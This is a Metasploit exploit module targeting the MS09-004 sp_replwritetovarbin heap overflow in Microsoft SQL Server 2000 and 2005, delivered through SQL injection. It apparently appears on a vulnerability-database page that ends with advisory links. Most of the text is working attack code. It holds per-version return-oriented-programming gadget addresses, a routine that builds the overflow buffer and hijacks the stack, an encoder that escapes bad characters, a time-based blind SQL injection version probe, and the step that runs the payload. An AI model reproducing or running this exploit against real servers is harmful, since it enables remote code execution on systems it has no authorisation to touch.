## # $Id: ms09_004_sp_replwritetovarbin_sqli.rb 11730 2011-02-08 23:31:44Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::MSSQL_SQLI def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection', 'Description' => %q{ A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005 without any public mention. This exploit smashes several pointers, as shown below. 1. pointer to a 32-bit value that is set to 0 2. pointer to a 32-bit value that is set to a length influcenced by the buffer length. 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000, this value is referenced with a displacement of 0x38. For MSSQL 2005, the displacement is 0x10. The address of our buffer is conveniently stored in ecx when this instruction is executed. 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4. This pointer is not used by this exploit. This particular exploit replaces the previous dual-method exploit. It uses a technique where the value contained in ecx becomes the stack. From there, return oriented programming is used to normalize the execution state and finally execute the payload via a "jmp esp". All addresses used were found within the sqlservr.exe memory space, yielding very reliable code execution using only a single query. NOTE: The MSSQL server service does not automatically restart by default. That said, some exceptions are caught and will not result in terminating the process. If the exploit crashes the service prior to hijacking the stack, it won't die. Otherwise, it's a goner. }, 'Author' => [ 'jduck', # MS09-004 base exploit 'Rodrigo Marcos' # SQL Injection mods ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11730 $', 'References' => [ [ 'OSVDB', '50589' ], [ 'CVE', '2008-5416' ], [ 'BID', '32710' ], [ 'MSB', 'MS09-004' ], [ 'URL', 'http://www.milw0rm.com/exploits/7501' ], [ 'URL', 'http://www.secforce.co.uk/blog/2011/01/exploiting-ms09-004-via-sql-injection/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 512, 'BadChars' => "", # bad bytes get encoded! 'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff", 'DisableNops' => true }, 'Platform' => 'win', 'Privileged' => true, 'Targets' => [ # auto targeting! [ 'Automatic', { } ], # # Individual targets # [ # Microsoft SQL Server 2000 - 8.00.194 (Intel X86) # Aug 6 2000 00:57:48 'MSSQL 2000 / MSDE SP0 (8.00.194)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08] 'Disp' => 0x08, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0041c9a2 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.384 (Intel X86) # May 23 2001 00:02:52 'MSSQL 2000 / MSDE SP1 (8.00.384)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret) 'Ret' => 0x004caa15 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.534 (Intel X86) # Nov 19 2001 13:23:50 'MSSQL 2000 / MSDE SP2 (8.00.534)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x660077, # not directly used - call [ecx-0x18] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret) 'Ret' => 0x004ca984 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.760 (Intel X86) # Dec 17 2002 14:22:05 'MSSQL 2000 / MSDE SP3 (8.00.760)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x490074, # not directly used - call [ecx+0x14] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0043fa97 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) # May 3 2005 23:18:38 'MSSQL 2000 / MSDE SP4 (8.00.2039)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14] 'Disp' => 0x14, # displacement on call [ecx+disp] used 'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0047c89d # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) # Oct 14 2005 00:33:37 'MSSQL 2005 SP0 (9.00.1399.06)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14] 'Disp' => 0x50, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x0112c2c7 # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86) # Apr 14 2006 01:12:25 'MSSQL 2005 SP1 (9.00.2047.00)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14] 'Disp' => 0x52, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x011b204c # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) # Feb 9 2007 22:47:07 'MSSQL 2005 SP2 (9.00.3042.00)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14] 'Disp' => 0x52, # displacement on call [ecx+disp] used 'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x010a5379 # jmp esp }, ], [ 'CRASHER', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 09 2008' )) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]) ]) end def check # the ping to port 1434 method has two drawbacks... # #1, it doesn't work on mssql 2005 or newer (localhost only listening) # #2, it doesn't give an accurate version number (sp/os) # since we need to have credentials for this vuln, we just login and run a query # to get the version information if not (version = mssql_query_version) return Exploit::CheckCode::Safe end print_status("@@version returned:\n\t" + version) # Any others? return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/) return Exploit::CheckCode::Safe end def exploit mytarget = nil if target.name =~ /Automatic/ print_status("Attempting automatic target detection...") version = mssql_query_version raise RuntimeError, "Unable to get version!" if not version if (version =~ /8\.00\.194/) mytarget = targets[1] elsif (version =~ /8\.00\.384/) mytarget = targets[2] elsif (version =~ /8\.00\.534/) mytarget = targets[3] elsif (version =~ /8\.00\.760/) mytarget = targets[4] elsif (version =~ /8\.00\.2039/) mytarget = targets[5] elsif (version =~ /9\.00\.1399\.06/) mytarget = targets[6] elsif (version =~ /9\.00\.2047\.00/) mytarget = targets[7] elsif (version =~ /9\.00\.3042\.00/) mytarget = targets[8] end if mytarget.nil? raise RuntimeError, "Unable to automatically detect the target" else print_status("Automatically detected target \"#{mytarget.name}\"") end else mytarget = target end sqlquery = %Q|declare @i int,@z nvarchar(4000) set @z='declare @e int,@b varbinary,@l int;' set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l' exec sp_executesql @z| # just crash it with a pattern buffer if the CRASHER target is selected.. if mytarget.name == 'CRASHER' sploit = Rex::Text.pattern_create(2048) print_status("Attempting to corrupt memory to cause an exception!") num = 32 else # trigger the memory corruption num = mytarget['Num'] vt_off = mytarget['VtOff'] vt_disp = mytarget['VtDisp'] vtable = mytarget['Vtable'] ecx_disp = mytarget['Disp'] esp_off = mytarget['Offset'] hijack_esp = mytarget['ecx2esp'] first_esp = mytarget['Popped'] fix_esp = mytarget['FixESP'] writable = mytarget['Writable'] corruptable_bytes = 0x44 # make sploit buff sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length #sploit = Rex::Text.pattern_create(sz) sploit = rand_text_alphanumeric(sz) # remove displacement! (using call [ecx+displacement]) vtable_off = (num + vt_off) sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V') # stack -> heap hijack_off = vtable_off + ecx_disp sploit[hijack_off,4] = [hijack_esp].pack('V') # becomes eax on mssql 2ksp4 (prevent crash) sploit[(vtable_off-4),4] = [writable].pack('V') # becomes eip after esp hijack fixesp_off = vtable_off + first_esp sploit[fixesp_off,4] = [fix_esp].pack('V') # rest of magic stack (disable DEP?) stack_off = vtable_off + esp_off stack = [] stack << mytarget['Ret'] stack = stack.pack('V*') # jump over the stuff that gets corrupted stack << "\xeb" + [corruptable_bytes].pack('C') stack << rand_text_alphanumeric(corruptable_bytes) stack << payload.encoded sploit[stack_off,stack.length] = stack # this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff sploit[hijack_off,4] = [hijack_esp].pack('V') print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable]) end # encode chars that get modified enc = mssql_encode_string(sploit) # put the number in (start offset) runme = sqlquery.gsub(/%NUM%/, num.to_s) runme.gsub!(/%STUFF%/, enc) # go! print_status('The SQL Server will probably die after exploitation. Follow the "POSTEXPLOITATION" instructions in the README file') begin mssql_query(runme, datastore['VERBOSE']) rescue ::Errno::ECONNRESET, EOFError print_error("Error: #{$!}") end handler disconnect end def mssql_str_to_chars(str) ret = "" str.unpack('C*').each do |ch| ret += "+" if ret.length > 0 ret += "char(" ret << ch.to_s ret += ")" end return ret end def mssql_encode_string(str) badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f" enc = "" in_str = true str.unpack('C*').each do |ch| # double-double single quotes if ch == 0x27 if not in_str enc << "+'" in_str = true end enc << ch.chr * 4 next end # double backslashes if ch == 0x5c if not in_str enc << "+'" in_str = true end enc << ch.chr * 2 next end # convert any bad stuff to char(0xXX) if ((idx = badchars.index(ch.chr))) enc << "'" if in_str enc << "+char(0x%x)" % ch in_str = false else enc << "+'" if not in_str enc << ch.chr in_str = true end end enc << "+'" if not in_str return enc end def mssql_query_version delay = 5 # Let's first check that we can reach the host with no problems t = Time.now res = mssql_query("select @@version",datastore['VERBOSE']) response_time = Time.now-t if (response_time > delay) return nil end # Now we test the SQL Server versions versions = %w[8.00.194 8.00.384 8.00.534 8.00.760 8.00.2039 9.00.1399.06 9.00.2047.00 9.00.3042.00] versions.each_with_index { |version,i| t = Time.now res = mssql_query("if ((select PATINDEX('%#{version}%', @@version))>0)WAITFOR DELAY '00:00:#{delay.to_s}'",datastore['VERBOSE']) response_time = Time.now-t if (response_time > delay) return version end } return nil end end

Products Mentioned

Configuraton 0

Microsoft>>Sql_server >> Version 2000

Microsoft>>Sql_server >> Version 2005

References

http://www.vupen.com/english/advisories/2008/3380
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/33034
Tags : third-party-advisory, x_refsource_SECUNIA
http://osvdb.org/50917
Tags : vdb-entry, x_refsource_OSVDB
http://securitytracker.com/id?1021363
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/7501
Tags : exploit, x_refsource_EXPLOIT-DB
http://securitytracker.com/id?1021490
Tags : vdb-entry, x_refsource_SECTRACK
http://www.kb.cert.org/vuls/id/696644
Tags : third-party-advisory, x_refsource_CERT-VN
http://securityreason.com/securityalert/4706
Tags : third-party-advisory, x_refsource_SREASON
http://www.securityfocus.com/bid/32710
Tags : vdb-entry, x_refsource_BID
http://www.us-cert.gov/cas/techalerts/TA09-041A.html
Tags : third-party-advisory, x_refsource_CERT